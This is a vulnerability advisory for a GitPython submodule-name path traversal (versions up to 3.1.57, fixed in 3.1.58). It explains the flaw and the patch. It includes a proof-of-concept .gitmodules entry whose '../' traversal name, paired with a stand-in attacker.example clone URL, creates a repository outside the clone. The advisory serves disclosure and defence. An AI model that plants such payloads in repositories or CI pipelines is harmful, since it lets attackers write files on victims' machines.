high · 8.2Aug 7, 2026

GitPython Submodule Name Path Traversal to Arbitrary Git Repository Creation

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious repository can write a path-traversal string as a submodule name in .gitmodules, causing GitPython to create a full Git repository at any attacker-chosen filesystem path outside the clone…

PackageGitPython
Ecosystempip
Affected<= 3.1.57
Fixed in3.1.58
GitPython Submodule Name Path Traversal to Arbitrary Git Repository Creation

The problem

GitPython builds the on-disk location for a submodule's separate git directory as os.path.join(git_dir, 'modules', name), where name is read directly from the .gitmodules section header with no validation.

os.path.join does not normalize ../ sequences, so a name like ../../../../../../tmp/target resolves to a path entirely outside the repository. Core git has blocked this exact class of attack since CVE-2018-11235, but GitPython's independent reimplementation never adopted an equivalent check.

The only precondition is that a victim clones the repository and calls sm.update(init=True), a routine step that CI pipelines and IDE integrations often run automatically.

Proof of concept

A working proof-of-concept for this issue in GitPython, with the exact payload below.

text
[submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"]
	path = legit_dir
	url = https://attacker.example/payload-repo.git

The traversal lives in the submodule *name* field, not the path field. The path field is used for a tree lookup and gets implicitly validated; the name field is not looked up in the tree, so it passes through sm_name() and into _module_abspath() unmodified.

_clone_repo() then hands the escaped path straight to os.makedirs() and to git clone --separate-git-dir=<escaped_path>, creating and populating a full Git repository at the attacker-chosen location. The PoC confirmed escape_target exists after update: True on GitPython 3.1.57, while the real git CLI printed warning: ignoring suspicious submodule name and refused.

The fix in PR #2202 adds an explicit name-validation step in base.py before any filesystem operation, rejecting names that contain path-traversal components (CWE-22, CWE-73).

The fix

Upgrade to GitPython 3.1.58 or later. The patch (commit 4299c990, PR #2202) adds traversal validation for submodule names before any os.makedirs or git clone --separate-git-dir call. A follow-up commit (e4b8e7d0, PR #2205) extends the same check to recursive submodule update paths.

No workaround exists in older versions other than avoiding sm.update(init=True) on untrusted repositories.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research